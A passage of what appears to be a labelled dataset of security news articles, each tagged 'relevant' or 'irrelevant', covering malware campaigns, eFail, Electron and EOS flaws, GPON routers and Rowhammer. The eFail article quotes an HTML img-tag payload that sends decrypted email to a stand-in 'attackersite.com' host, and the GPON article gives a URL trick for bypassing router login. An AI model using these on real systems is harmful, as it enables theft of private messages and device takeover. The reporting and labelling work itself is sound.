period of just 6 days, the attackers appeared to generate approximately $1,000 in cryptocurrencies, mostly Monero. Nigelthorn is also persistent as to prevent users from removing the malicious extensions, it automatically closes the malicious extension tab each time the user opens it prevents removal. The malware also blacklists a variety of clean-up tools offered by Facebook and Google and even prevents users from making edits, deleting posts and making comments. List of Malicious Chrome Extensions chrome-extension-malware Here's the name of all seven extensions masquerading as legitimate extensions: Nigelify PwnerLike Alt-j Fix-case Divinity 2 Original Sin: Wiki Skill Popup Keeprivate iHabno Although Google has removed all of the above-listed extensions, if you have installed any of them, you are advised to immediately uninstall it and change passwords for your Facebook, Instagram and as well as for other accounts where you are using the same credentials. Since Facebook Spam campaigns are quite common, users are advised to be vigilant when clicking on links and files provided via the social media site platform.",relevant
"Here's How eFail Attack Works Against PGP and S/MIME Encrypted Emails With a heavy heart, security researchers have early released the details of a set of vulnerabilities discovered in email clients for two widely used email encryption standards—PGP and S/MIME—after someone leaked their paper on the Internet, which was actually scheduled for tomorrow. PGP and S/MIME are popular end-to-end encryption standards used to encrypt emails in a way that no one, not even the company, government, or cyber criminals, can spy on your communication. Before explaining how the vulnerability works, it should be noted that the flaw doesn't reside in the email encryption standards itself; instead, it affects a few email clients/plugins that incorrectly implemented the technologies. Dubbed eFail by the researchers, the vulnerabilities, as described in our previous early-warning article, could allow potential attackers to decrypt the content of your end-to-end encrypted emails in plaintext, even for messages sent in the past. According to the paper released by a team of European security researchers, the vulnerabilities exist in the way encrypted email clients handle HTML emails and external resources, like loading of images, styles from external URLs. Here's How the eFail Attack Works: pgp-encrypted-email Email clients are usually configured to automatically decrypt the content of encrypted emails you receive, but if your client is also configured to load external resources automatically, attackers can abuse this behavior to steal messages in plaintext just by sending you a modified version of the same encrypted email content. The attack vector requires injected plaintext into the encrypted mail, and then using the exploit, it will exfiltrate the originally encrypted data as soon as any recipient's mail client accesses (or decrypts) the message It should be noted that to perform an eFail attack, an attacker must have access to your encrypted emails, which is then modified in the following way and send back to you in order to trick your email client into revealing the secret message to the remote attacker without alerting you. As described in the proof-of-concept attack released by the researchers, the attacker uses one of the encrypted messages you are supposed to receive or might have already received and then turns it into a multipart HTML email message, as well as forges the return address, so it appears to come from the original sender. In the newly composed email, the attacker adds an unclosed image tag, like this <img src=""https://attackersite.com/ just before the encrypted content and ends it by adding the end of the image tag, like this: .jpg"">, as clearly shown in the screenshot. When your vulnerable email client receives this message, it decrypts the encrypted part of the message given in the middle, and then automatically tries to render the HTML content, i.e., the image tag with all the decrypted text as the new name of the image, as shown below. pgp-smime-email-encryption Since your email client will try to load the image from the attacker-controlled server, the attacker can capture this incoming request, where the filename contains the full content of the original encrypted email in plaintext. Although PGP has been designed to show you a warning note if the integrity of your email is compromised, a few email clients do not display these warnings, allowing any potential attackers to perform eFail attacks successfully. How To Prevent Against eFail Attacks email-hacking Generally, it is a very tough job for an advisory to even intercept your encrypted emails, but for people desperately using email encryption always attract well-resourced and sophisticated attackers. Ditching the use of PGP or S/MIME to prevent eFail attacks would be stupid advice, as it is quite easy to mitigate the reported issues. Users can switch to a good email client that always shows a warning when the integrity of the emails is compromised and doesn't render HTML emails by default to prevent loading of external resources automatically. Researchers also advise users to adopt an authenticated encryption algorithm for sensitive communication. The research was conducted by a team of researchers, including Damian Poddebniak, Christian Dresen, Fabian Ising, and Sebastian Schinzel from Munster University of Applied Sciences; Jens Müller, Juraj Somorovsky, and Jörg Schwenk from Ruhr University Bochum; and Simon Friedberger from KU Leuven. For more in-depth details on the attack technique, you can head on to this informational page about the eFail attack and the paper [PDF] titled, ""Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels,"" published by the researchers.",irrelevant
"Simple bug could lead to RCE flaw on apps built with Electron Framework A critical remote code execution vulnerability has been discovered in the popular Electron web application framework that could allow attackers to execute malicious code on victims' computers. Electron is an open source app development framework that powers thousands of widely-used desktop applications including WhatsApp, Skype, Signal, Wordpress, Slack, GitHub Desktop, Atom, Visual Studio Code, and Discord. Besides its own modules, Electron framework also allows developers to create hybrid desktop applications by integrating Chromium and Node.js framework through APIs. Since Node.js is a robust framework for server-side applications, having access to its APIs indirectly gives Electron-based apps more control over the operating system installed on the server. To prevent unauthorised or unnecessary access to Node.js APIs, Electron framework by default sets the value of ""webviewTag"" to false in its ""webPreferences"" configuration file, which then sets ""nodeIngration"" to false. This configuration file with the hardcoded values of some parameters was introduced in the framework to prevent real-time modifications by malicious functions, i.e., by exploiting a security vulnerability like cross-site scripting (XSS). Moreover, if an app developer skips or forgets to declare ""webviewTag: false"" in the configuration file, even then the framework by default considers the value of ""nodeIntegration"" as false, to take a preventive measure. Critical RCE Flaw Could Hit Apps Built With Electron Framework However, Trustwave researcher Brendan Scarvell has released proof-of-concept (PoC) code that attackers can inject into targeted applications running without ""webviewTag"" declared, by exploiting a cross-site scripting flaw, to achieve remote code execution. The exploit re-enables ""nodeIntegration"" in runtime, allowing attackers to gain unauthorised control over the application server and execute arbitrary system commands. It should be noted that the exploit would not work if the developer has also opted for one of the following options: nativeWindowOption option enabled in its webPreferences. Intercepting new-window events and overriding event.newGuest without using the supplied options tag. The vulnerability, tracked as CVE-2018-1000136, was reported to the Electron team by Scarvell earlier this year and affected all versions of Electron at the time of discovery. Electron developers patched the vulnerability in March 2018 with the release of versions 1.7.13, 1.8.4, and 2.0.0-beta.4. So, app developers should ensure their applications are patched, or at least not vulnerable to this issue. For more technical details on the Electron vulnerability and PoC exploit code, you can head on to the Trustwave's blog post. It should also be noted that the Electron bug has nothing to do with the recently discovered flaw in Signal app, which has also recently patched a critical cross-site scripting vulnerability that leads to remote code execution, whose full technical details are scheduled to be published exclusively on The Hacker News this evening. Stay Tuned!",relevant
"Critical RCE Flaw Discovered in Blockchain-Based EOS Smart Contract System Security researchers have discovered a series of new vulnerabilities in EOS blockchain platform, one of which could allow remote hackers to take complete control over the node servers running the critical blockchain-based applications. EOS is an open source smart contract platform, known as 'Blockchain 3.0,' that allows developers to build decentralized applications over blockchain infrastructure, just like Ethereum. Discovered by Chinese security researchers at Qihoo 360—Yuki Chen of Vulcan team and Zhiniang Peng of Core security team—the vulnerability is a buffer out-of-bounds write issue which resides in the function used by nodes server to parse contracts. To achieve remote code execution on a targeted node, all an attacker needs to do is upload a maliciously crafted WASM file (a smart contract) written in WebAssembly to the server. hacking-smart-blockchain As soon as the vulnerable process parser reads the WASM file, the malicious payload gets executed on the node, which could then also be used to take control over the supernode in EOS network—servers that collect transaction information and pack it into blocks. ""With the out of bound write primitive, we can overwrite the WASM memory buffer of a WASM module instance,"" the duo explained in their blog post published today. ""And with the help of our malicious WASM code, we finally achieve arbitrary memory read/write in the nodeos process and bypass the common exploit mitigation techniques such as DEP/ASLR on 64-bits OS. Once successfully exploited, the exploit starts a reverse shell and connects back to the attacker."" Once the attackers gained control over the supernode, they could eventually ""pack the malicious contract into the new block and further control all nodes of the EOS network."" Since the super node system can be controlled, the researchers said the attackers can ""do whatever they want,"" including, controlling the virtual currency transactions, and acquiring other financial and privacy data in the EOS network participating node systems, such as an exchange Digital currency, the user's key stored in the wallet, key user profiles, privacy data, and much more. ""What's more, the attacker can turn a node in the EOS network into a member of a botnet, launch a cyber attack or become a free 'miner' and dig up other digital currencies,"" the researchers told THN. Researchers have detailed how to reproduce the vulnerability and also released a proof-of-concept exploit, along with a video demonstration, which you can watch on their blog post. The exploit demonstrated by the 360Vulcan researcher can bypass multiple default security mitigation measures to achieve complete control over the super node running the malicious contract. The pair responsibly reported the vulnerability to the maintainers of the EOS project, and they have already released a fix for the issue on GitHub. ""In Blockchain networks and digital currency systems, there are many attack surfaces existing in nodes, digital wallets, mining pools and smart contracts. 360 ​​security team has previously discovered and disclosed multiple relevant high risk vulnerabilities,"" The researchers believe the new type of vulnerabilities affect not only EOS alone but also other types of Blockchain platforms and virtual currency applications.",relevant
"A New Cryptocurrency Mining Virus is Spreading Through Facebook If you receive a link for a video, even if it looks exciting, sent by someone (or your friend) on Facebook messenger—just don't click on it without taking a second thought. Cybersecurity researchers from Trend Micro are warning users of a malicious Chrome extension which is spreading through Facebook Messenger and targeting users of cryptocurrency trading platforms to steal their accounts' credentials. Dubbed FacexWorm, the attack technique used by the malicious extension first emerged in August last year, but researchers noticed the malware re-packed a few new malicious capabilities earlier this month. New capabilities include stealing account credentials from websites, like Google and cryptocurrency sites, redirecting victims to cryptocurrency scams, injecting miners on the web page for mining cryptocurrency, and redirecting victims to the attacker's referral link for cryptocurrency-related referral programs. It is not the first malware to abuse Facebook Messenger to spread itself like a worm. Late last year, Trend Micro researchers discovered a Monero-cryptocurrency mining bot, dubbed Digmine, that spreads through Facebook messenger and targets Windows computers, as well as Google Chrome for cryptocurrency mining. facebook-chrome-malware-hacking Just like Digmine, FacexWorm also works by sending socially engineered links over Facebook Messenger to the friends of an affected Facebook account to redirect victims to fake versions of popular video streaming websites, like, YouTube. It should be noted that FacexWorm extension has only been designed to target Chrome users. If the malware detects any other web browser on the victim's computer, it redirects the user to an innocuous-looking advertisement. How Does the FacexWorm Malware Work If the malicious video link is opened using Chrome browser, FacexWorm redirects the victim to a fake YouTube page, where the user is encouraged to download a malicious Chrome extension as a codec extension to continue playing the video. Once installed, FacexWorm Chrome extension downloads more modules from its command and control server to perform various malicious tasks. ""FacexWorm is a clone of a normal Chrome extension but injected with short code containing its main routine. It downloads additional JavaScript code from the C&C server when the browser is opened,"" the researchers said. ""Every time a victim opens a new webpage, FacexWorm will query its C&C server to find and retrieve another JavaScript code (hosted on a Github repository) and execute its behaviors on that webpage."" Since the extension takes all the extended permissions at the time of installation, the malware can access or modify data for any websites the user opens. Here below I have listed a brief outline of what FacexWorm malware can perform: To spread itself further like a worm, the malware requests OAuth access token for the Facebook account of the victim, using which it then automatically obtains the victim's friend list and sends that malicious, fake YouTube video link to them as well. Steal the user's account credentials for Google, MyMonero, and Coinhive, when the malware detects that the victim has opened the target website's login page. FacexWorm also injects cryptocurrency miner to web pages opened by the victim, which utilizes the victim computer's CPU power to mine Cryptocurrency for attackers. FacexWorm even hijacks the user's cryptocurrency-related transactions by locating the address keyed in by the victim and replacing it with the one provided by the attacker. When the malware detects the user has accessed one of the 52 cryptocurrency trading platforms or typed keywords like ""blockchain,"" ""eth-,"" or ""ethereum"" in the URL, FacexWorm will redirect the victim to a cryptocurrency scam webpage to steal user's digital coins. The targeted platforms include Poloniex, HitBTC, Bitfinex, Ethfinex, and Binance, and the wallet Blockchain.info. To avoid detection or removal, the FacexWorm extension immediately closes the opened tab when it detects that the user is opening the Chrome extension management page. The attacker also gets a referral incentive every time a victim registers an account on Binance, DigitalOcean, FreeBitco.in, FreeDoge.co.in, or HashFlare. So far, researchers at Trend Micro have found that FacexWorm has compromised at least one Bitcoin transaction (valued at $2.49) until April 19, but they do not know how much the attackers have earned from the malicious web mining. Cryptocurrencies targeted by FacexWorm include Bitcoin (BTC), Bitcoin Gold (BTG), Bitcoin Cash (BCH), Dash (DASH), ETH, Ethereum Classic (ETC), Ripple (XRP), Litecoin (LTC), Zcash (ZEC), and Monero (XMR). The FacexWorm malware has been found surfacing in Germany, Tunisia, Japan, Taiwan, South Korea, and Spain. But since Facebook Messenger is used worldwide, there are more chances of the malware being spread globally. Chrome Web Store had removed many of the malicious extensions before being notified by Trend Micro researchers, but the attackers keep uploading it back to the store. Facebook Messenger can also detect the malicious, socially engineered links and regularly block the propagation behavior of the affected Facebook accounts, researchers said. Since Facebook Spam campaigns are quite common, users are advised to be vigilant when clicking on links and files provided via the social media site platform.",relevant
"8 New Spectre-Class Vulnerabilities (Spectre-NG) Found in Intel CPUs A team of security researchers has reportedly discovered a total of eight new ""Spectre-class"" vulnerabilities in Intel CPUs, which also affect at least a small number of ARM processors and may impact AMD processor architecture as well. Dubbed Spectre-Next Generation, or Spectre-NG, the partial details of the vulnerabilities were first leaked to journalists at German computer magazine Heise, which claims that Intel has classified four of the new vulnerabilities as ""high risk"" and remaining four as ""medium."" The new CPU flaws reportedly originate from the same design issue that caused the original Spectre flaw, but the report claims one of the newly discovered flaws allows attackers with access to a virtual machine (VM) to easily target the host system, making it potentially more threatening than the original Spectre vulnerability. ""Alternatively, it could attack the VMs of other customers running on the same server. Passwords and secret keys for secure data transmission are highly sought-after targets on cloud systems and are acutely endangered by this gap,"" the report reads. ""However, the aforementioned Spectre-NG vulnerability can be exploited quite easily for attacks across system boundaries, elevating the threat potential to a new level. Cloud service providers such as Amazon or Cloudflare and, of course, their customers are particularly affected."" If you're unaware, Spectre vulnerability, which was reported earlier this year, relies upon a side-channel attack on a processors' speculative execution engine, allowing a malicious program to read sensitive information, like passwords, encryption keys, or sensitive information, including that of the kernel. Although the German site did not disclose the name of the security researchers (or the team/company) who reported these flaws to Intel, it revealed one of the weaknesses was discovered by a security researcher at Google's Project Zero. The site also claimed that the Google security researcher reported the flaw to the chip manufacturers almost 88 days ago—which indicates the researcher would possibly reveal the details of at least one flaw on May 7th, when the 90-day disclosure window will be closed, which is the day before the Windows Patch Tuesday. Responsibly disclosing Spectre NG vulnerabilities to vendors is definitely a good practice, but it seems the researchers, who discovered the new series of Spectre-class flaws, are avoiding their names to come out early—maybe to prevent media criticism similar to the one faced by CTS Labs after they disclosed partial details of AMD flaws with dedicated website, beautiful graphics, and videos. Intel's Response to Spectre-NG Flaws Nevermind. When asked Intel about the new findings, the chip maker giant provides the following statement, which neither confirms nor denies the existence of the Spectre-NG vulnerabilities: ""Protecting our customers' data and ensuring the security of our products are critical priorities for us. We routinely work closely with customers, partners, other chip makers and researchers to understand and mitigate any issues that are identified, and part of this process involves reserving blocks of CVE numbers."" ""We believe strongly in the value of coordinated disclosure and will share additional details on any potential issues as we finalize mitigations. As a best practice, we continue to encourage everyone to keep their systems up-to-date."" Meanwhile, when asked Heise about the Common Vulnerabilities and Exposures (CVE) numbers reserved for the new Spectre-NG vulnerabilities, the journalist refused to share any details and commented: ""The CVEs are currently only naked numbers without added value. On the other hand, their publication might have meant a further risk to our sources that we wanted to avoid. That's why we decided against it at the moment. We will submit the course, of course."" Brace For New Security Patches The Spectre-NG vulnerabilities reportedly affect Intel CPUs, and there are also indications that at least some ARM processors are vulnerable to the issues, but the impact on AMD processors has yet to be confirmed. According to the German site, Intel has already acknowledged the new Spectre-NG vulnerabilities and are planning to release security patches in who shifts—one in May and second is currently scheduled for August. Microsoft also plans to fix the issues by releasing a security patch with Windows updates in the upcoming months. However, it's currently unknown if applying new patches would once again impact the performance of vulnerable devices, just like what happened with the original Spectre and Meltdown vulnerabilities earlier this year.",relevant
"Red Hat Linux DHCP Client Found Vulnerable to Command Injection Attacks A Google security researcher has discovered a critical remote command injection vulnerability in the DHCP client implementation of Red Hat Linux and its derivatives like Fedora operating system. The vulnerability, tracked as CVE-2018-1111, could allow attackers to execute arbitrary commands with root privileges on targeted systems. Whenever your system joins a network, it's the DHCP client application which allows your system to automatically receive network configuration parameters, such as an IP address and DNS servers, from the DHCP (Dynamic Host Control Protocol) server. The vulnerability resides in the NetworkManager integration script included in the DHCP client packages which is configured to obtain network configuration using the DHCP protocol. Felix Wilhelm from the Google security team found that attackers with a malicious DHCP server, or connected to the same network as the victim, can exploit this flaw by spoofing DHCP responses, eventually allowing them to run arbitrary commands with root privileges on the victim's system running vulnerable DHCP client. Although full details of the vulnerability have not been released, Wilhelm claims his PoC exploit code is so short in length that it even can fit in a tweet. Meanwhile, Barkın Kılıç, a security researcher from Turkey, has released a tweetable proof-of-concept exploit code for the Red Hat Linux DHCP client vulnerability on Twitter. redhat-dhcp-exploit In its security advisory, Red Hat has confirmed that the vulnerability impacts Red Hat Enterprise Linux 6 and 7, and that all of its customers running affection versions of the dhclient package should update their packages to the newer versions as soon as they are available. ""Users have the option to remove or disable the vulnerable script, but this will prevent certain configuration parameters provided by the DHCP server from being configured on a local system, such as addresses of the local NTP or NIS servers,"" Red Hat warns. Fedora has also released new versions of DHCP packages containing fixes for Fedora 26, 27, and 28. Other popular Linux distributions like OpenSUSE and Ubuntu do not appear to be impacted by the vulnerability, as their DHCP client implementation doesn't have NetworkManager integration script by default.",relevant
"Microsoft Patches Two Zero-Day Flaws Under Active Attack It's time to gear up for the latest May 2018 Patch Tuesday. Microsoft has today released security patches for a total of 67 vulnerabilities, including two zero-days that have actively been exploited in the wild by cybercriminals, and two publicly disclosed bugs. In brief, Microsoft is addressing 21 vulnerabilities that are rated as critical, 42 rated important, and 4 rated as low severity. These patch updates address security flaws in Microsoft Windows, Internet Explorer, Microsoft Edge, Microsoft Office, Microsoft Office Exchange Server, Outlook, .NET Framework, Microsoft Hyper-V, ChakraCore, Azure IoT SDK, and more. 1) Double Kill IE 0-day Vulnerability The first zero-day vulnerability (CVE-2018-8174) under active attack is a critical remote code execution vulnerability that was revealed by Chinese security firm Qihoo 360 last month and affected all supported versions of Windows operating systems. Dubbed ""Double Kill"" by the researchers, the vulnerability is notable and requires prompt attention as it could allow an attacker to remotely take control over an affected system by executing malicious code remotely through several ways, such as a compromised website, or malicious Office documents. The Double Kill vulnerability is a use-after-free issue which resides in the way the VBScript Engine (included in all currently supported versions of Windows) handles objects in computer memory, allowing attackers to execute code that runs with the same system privileges as of the logged-in user. ""In a web-based attack scenario, an attacker could host a specially crafted website that is designed to exploit the vulnerability through Internet Explorer and then convince a user to view the website. An attacker could also embed an ActiveX control marked 'safe for initialization' in an application or Microsoft Office document that hosts the IE rendering engine,"" Microsoft explains in its advisory. ""The attacker could also take advantage of compromised websites and websites that accept or host user-provided content or advertisements. These websites could contain specially crafted content that could exploit the vulnerability."" Users with administrative rights on their systems are impacted more than the ones with limited rights, as an attacker successfully exploiting the vulnerability could take control of an affected system. double-kill-flaw However, that doesn't mean that low-privileged users are spared. If users are logged in on an affected system with more limited rights, attackers may still be able to escalate their privileges by exploiting a separate vulnerability. Researchers from Qihoo 360 and Kaspersky Labs found that the vulnerability was actively being exploited in the wild by an advanced state-sponsored hacking group in targeted attacks, but neither Microsoft nor Qihoo 360 and Kaspersky provided any information on the threat group. 2) Win32k Elevation of Privilege Vulnerability The second zero-day vulnerability (CVE-2018-8120) patched this month is a privilege-escalation flaw that occurred in the Win32k component of Windows when it fails to properly handle objects in computer memory. Successful exploitation of the flaw can allow attackers to execute arbitrary code in kernel mode, eventually allowing them to install programs or malware; view, edit or delete data; or create new accounts with full user rights. The vulnerability is rated ""important,"" and only affects Windows 7, Windows Server 2008 and Windows Server 2008 R2. The issue has actively been exploited by threat actors, but Microsoft did not provide any detail about the in-the-wild exploits. Two Publicly Disclosed Flaws Microsoft also addressed two ""important"" Windows vulnerabilities whose details have already been made public. One of these is a Windows kernel flaw (CVE-2018-8141) that could lead to information disclosure, and the other is a Windows Image bug (CVE-2018-8170) that could lead to Elevation of Privilege. In addition, the May 2018 updates resolve 20 more critical issues, including memory corruptions in the Edge and Internet Explorer (IE) scripting engines and remote code execution (RCE) vulnerabilities in Hyper-V and Hyper-V SMB. Meanwhile, Adobe has also released its Patch Tuesday updates, addressing five security vulnerabilities—one critical bug in Flash Player, one critical and two important flaws in Creative Cloud and one important bug in Connect. Users are strongly advised to install security updates as soon as possible in order to protect themselves against the active attacks in the wild. For installing security updates, head on to Settings → Update & security → Windows Update → Check for updates, or you can install the updates manually.",relevant
"Hackers Found Using A New Way to Bypass Microsoft Office 365 Safe Links Security researchers revealed a way around that some hacking groups have been found using in the wild to bypass a security feature of Microsoft Office 365, which is originally designed to protect users from malware and phishing attacks. Dubbed Safe Links, the feature has been included in Office 365 software as part of Microsoft's Advanced Threat Protection (ATP) solution that works by replacing all URLs in an incoming email with Microsoft-owned secure URLs. So, every time a user clicks on a link provided in an email, it first sends the user to a Microsoft owned domain, where the company immediately checks the original URL for anything suspicious. If Microsoft's scanners detect any malicious element, it then warns users about it, and if not, it redirects the user to the original link. However, researchers at cloud security company Avanan have revealed how attackers have been bypassing the Safe Links feature by using a technique called, ""baseStriker attack."" BaseStriker attack involves using the <base> tag in the header of an HTML email—which is used to defines a default base URI, or URL, for relative links in a document or web page. In other words, if the <base> URL is defined, then all subsequent relative links will use that URL as a starting point. Microsoft-outlook-safelink-phishing-bypass As shown in the above screenshot, the researchers compared HTML code of a traditional phishing email with the one that uses a <base> tag to split up the malicious link in a way that Safe Links fails to identify and replace the partial hyperlink, eventually redirecting victims to the phishing site, when clicked. Researchers have even provided a video demonstration, which shows the baseStriker attack in action. The researchers tested the baseStriker attack against several configurations and found that ""anyone using Office 365 in any configuration is vulnerable,"" be it web-based client, mobile app or desktop application of OutLook. Proofpoint is also found vulnerable to the baseStriker attack. However, Gmail users and those protecting their Office 365 with Mimecast are not impacted by this issue. So far, researchers have only seen hackers using the baseStriker attack to send phishing emails, but they believe the attack can be leveraged to distribute ransomware, malware and other malicious software. office-365-safe-links Avanan reported the issue to both Microsoft and Proofpoint earlier last weekend, but there is no patch available to fix the problem at the time of writing.",relevant
"FBI issues alert over two new malware linked to Hidden Cobra hackers The US-CERT has released a joint technical alert from the DHS and the FBI, warning about two newly identified malware being used by the prolific North Korean APT hacking group known as Hidden Cobra. Hidden Cobra, often known as Lazarus Group and Guardians of Peace, is believed to be backed by the North Korean government and known to launch attacks against media organizations, aerospace, financial and critical infrastructure sectors across the world. The group was even associated with the WannaCry ransomware menace that last year shut down hospitals and businesses worldwide. It is reportedly also linked to the 2014 Sony Pictures hack, as well as the SWIFT Banking attack in 2016. Now, the Department of Homeland Security (DHS) and the FBI have uncovered two new pieces of malware that Hidden Cobra has been using since at least 2009 to target companies working in the media, aerospace, financial, and critical infrastructure sectors across the world. The malware Hidden Cobra is using are—Remote Access Trojan (RAT) known as Joanap and Server Message Block (SMB) worm called Brambul. Let's get into the details of both the malware one by one. Joanap—A Remote Access Trojan According to the US-CERT alert, ""fully functional RAT"" Joanap is a two-stage malware that establishes peer-to-peer communications and manages botnets designed to enable other malicious operations. The malware typically infects a system as a file delivered by other malware, which users unknowingly download either when they visit websites compromised by the Hidden Cobra actors, or when they open malicious email attachments. Joanap receives commands from a remote command and control server controlled by the Hidden Cobra actors, giving them the ability to steal data, install and run more malware, and initialize proxy communications on a compromised Windows device. Other functionalities of Joanap include file management, process management, creation and deletion of directories, botnet management, and node management. During analysis of the Joanap infrastructure, the U.S. government has found the malware on 87 compromised network nodes in 17 countries including Brazil, China, Spain, Taiwan, Sweden, India, and Iran. Brambul—An SMB Worm Brambul is a brute-force authentication worm that like the devastating WannaCry ransomware, abuses the Server Message Block (SMB) protocol in order to spread itself to other systems. The malicious Windows 32-bit SMB worm functions as a service dynamic link library file or a portable executable file often dropped and installed onto victims' networks by dropper malware. ""When executed, the malware attempts to establish contact with victim systems and IP addresses on victims' local subnets,"" the alert notes. ""If successful, the application attempts to gain unauthorized access via the SMB protocol (ports 139 and 445) by launching brute-force password attacks using a list of embedded passwords. Additionally, the malware generates random IP addresses for further attacks."" Once Brambul gains unauthorized access to the infected system, the malware communicates information about victim's systems to the Hidden Cobra hackers using email. The information includes the IP address and hostname—as well as the username and password—of each victim's system. The hackers can then use this stolen information to remotely access the compromised system via the SMB protocol. The actors can even generate and execute what analysts call a ""suicide script."" DHS and FBI have also provided downloadable lists of IP addresses with which the Hidden Cobra malware communicates and other IOCs, to help you block them and enable network defenses to reduce exposure to any malicious cyber activity by the North Korean government. DHS also recommended users and administrators to use best practices as preventive measures to protect their computer networks, like keeping their software and system up to date, running Antivirus software, turning off SMB, forbidding unknown executables and software applications. Last year, the DHS and the FBI published an alert describing Hidden Cobra malware, called Delta Charlie—a DDoS tool which they believed North Korea uses to launch distributed denial-of-service (DDoS) attacks against its targets. Other malware linked to Hidden Cobra in the past include Destover, Wild Positron or Duuzer, and Hangman with sophisticated capabilities, like DDoS botnets, keyloggers, remote access tools (RATs), and wiper malware.",relevant
"A Simple Tool Released to Protect Dasan GPON Routers from Remote Hacking Since hackers have started exploiting two recently disclosed unpatched critical vulnerabilities found in GPON home routers, security researchers have now released an unofficial patch to help millions of affected users left vulnerable by their device manufacturer. Last week, researchers at vpnMentor disclosed details of—an authentication bypass (CVE-2018-10561) and a root-remote code execution vulnerability (CVE-2018-10562)—in many models of Gigabit-capable Passive Optical Network (GPON) routers manufacturer by South Korea-based DASAN Zhone Solutions. If exploited, the first vulnerability lets an attacker easily bypass the login authentication page just by appending ?images/ to the URL in the browser's address bar. However, when coupled with the second flaw that allows command injection, unauthenticated attackers can remotely execute malicious commands on the affected device and modified DNS settings, eventually allowing them to take full control of the device remotely. Shortly after the details of the vulnerabilities went public, security researchers at Chinese IT security firm Qihoo 360 Netlab found that threat actors have started exploiting both the flaws to add the vulnerable routers into their botnet malware networks. Moreover, a working proof-of-concept (PoC) exploit, written in python, for GPON router vulnerabilities has already been released on GitHub by an independent security researcher, eventually making exploitation easier for even unskilled hackers. The researchers even published a video demonstration showing how the attack works. Here's How to Secure Your GPON Wi-Fi Router dasan-gpon-router-hacking Researchers at vpnMentor already reported the issues to Dasan, but the company has not yet released any fix for the issue, and the researchers believe that the patch is not in development either. What's worse? At the time of writing, almost a million vulnerable GPON routers are still exposed on the Internet and can be easily hijacked. However, even if there is no official patch available, users can protect their devices by disabling remote administration and using a firewall to prevent outside access from the public Internet. Making these changes to your vulnerable router would restrict access to the local network only, within the range of your Wi-Fi network, effectively reducing the attack surface by eliminating remote attackers. If you are unsure about these settings, vpnMentor has done this job for you by providing an online ""user-friendly"" solution that automatically modifies your router settings on your behalf, keeping you away from remote attacks. ""It was created to help mitigate the vulnerabilities until an official patch is released,"" the researchers said. ""This tool disables the web server in a way that is not easy to reverse, it can be done with another patch script, but if you are not comfortable with the command line we suggest firewalling your device until an official patch is released."" To use this tool, all you need open this web page, and scroll down to the input form asking for the IP address of your exposed GPON router (local LAN address, not WAN), a new password for SSH/Telnet on your router. In a separate tab open your router's web interface using https in the URL and then press ""Run Patch"" on the vpnMentor to continue and apply changes. You can apply the patch to secure your devices, but it should be noted that it is not an official patch from the manufacturer and we do not encourage users to run any third-party scripts or patches on their devices. So, users should either wait for official fixes or apply changes manually, when possible.",relevant
"Nethammer—Exploiting DRAM Rowhammer Bug Through Network Requests Last week, we reported about the first network-based remote Rowhammer attack, dubbed Throwhammer, which involves the exploitation a known vulnerability in DRAM through network cards using remote direct memory access (RDMA) channels. However, a separate team of security researchers has now demonstrated a second network-based remote Rowhammer technique that can be used to attack systems using uncached memory or flush instruction while processing the network requests. The research was carried out by researchers who discovered Meltdown and Spectre CPU vulnerabilities, which is independent of the Amsterdam researchers who presented a series of Rowhammer attacks, including Throwhammer published last week. If you are unaware, Rowhammer is a critical issue with recent generation dynamic random access memory (DRAM) chips in which repeatedly accessing a row of memory can cause ""bit flipping"" in an adjacent row, allowing attackers to change the contents of the memory. The issue has since been exploited in a number of ways to escalate an attacker's privilege to kernel level and achieve remote code execution on the vulnerable systems, but the attacker needed access to the victim's machine. However, the new Rowhammer attack technique, dubbed Nethammer, can be used to execute arbitrary code on the targeted system by rapidly writing and rewriting memory used for packet processing, which would be possible only with a fast network connection between the attacker and victim. This causes a high number of memory accesses to the same set of memory locations, which eventually induces disturbance errors in DRAM and causes memory corruption by unintentionally flipping the DRAM bit-value. The resulting data corruption can then be manipulated by the attacker to gain control over the victim's system. ""To mount a Rowhammer attack, memory accesses need to be directly served by the main memory. Thus, an attacker needs to make sure that the data is not stored in the cache,"" the researcher paper [PDF] reads. Since caching makes an attack difficult, the researchers developed ways that allowed them to bypass the cache and attack directly into the DRAM to cause the row conflicts in the memory cells required for the Rowhammer attack. Researchers tested Nethammer for the three cache-bypass techniques: A kernel driver that flushes (and reloads) an address whenever a packet is received. Intel Xeon CPUs with Intel CAT for fast cache eviction Uncached memory on an ARM-based mobile device. All three scenarios are possible, researchers showed. In their experimental setup, researchers were successfully able to induce a bit flip every 350 ms by sending a stream of UDP packets with up to 500 Mbit/s to the target system. Since the Nethammer attack technique does not require any attack code in contrast to a regular Rowhammer attack, for example, no attacker-controlled code on the system, most countermeasures do not prevent this attack. Since Rowhammer exploits a computer hardware weakness, no software patch can completely fix the issue. Researchers believe the Rowhammer threat is not only real but also has potential to cause real, severe damage. For more in-depth details on the new attack technique, you can head on to this paper, titled ""Nethammer: Inducing Rowhammer Faults through Network Requests,"" published by the researchers earlier this week.",relevant
"DNS-Hijacking Malware Targeting iOS, Android and Desktop Users Worldwide Widespread routers' DNS hijacking malware that recently found targeting Android devices has now been upgraded its capabilities to target iOS devices as well as desktop users. Dubbed Roaming Mantis, the malware was initially found hijacking Internet routers last month to distribute Android banking malware designed to steal users' login credentials and the secret code for two-factor authentication. According to security researchers at Kaspersky Labs, the criminal group behind the Roaming Mantis campaign has broadened their targets by adding phishing attacks for iOS devices, and cryptocurrency mining script for PC users. Moreover, while the initial attacks were designed to target users from South East Asia–including South Korea, China Bangladesh, and Japan–the new campaign now support 27 languages to expand its operations to infect people across Europe and the Middle East. How the Roaming Mantis Malware Works Similar to the previous version, the new Roaming Mantis malware is distributed via DNS hijacking, wherein attackers change the DNS settings of the wireless routers to redirect traffic to malicious websites controlled by them. So, whenever users attempt to access any website via a compromised router, they are redirected to rogue websites, which serves: fake apps infected with banking malware to Android users, phishing sites to iOS users, Sites with cryptocurrency mining script to desktop users ""After the [Android] user is redirected to the malicious site, they are prompted to update the browser [app]. That leads to the download of a malicious app named chrome.apk (there was another version as well, named facebook.apk),"" researchers say. To evade detection, fake websites generate new packages in real time with unique malicious apk files for download, and also set filename as eight random numbers. Once installed, the attackers can control infected Android devices using 19 built-in backdoor commands, including–sendSms, setWifi, gcont, lock, onRecordAction, call, get_apps, ping and more. If the victims own an iOS device, the malware redirects users to a phishing site that mimics the Apple website, claiming to be 'security.app.com,' and asks them to enter their user ID, password, card number, card expiration date and CVV number. crypto-mining-script Besides stealing sensitive information from Android and iOS devices, researchers found that Roaming Mantis injects a browser-based 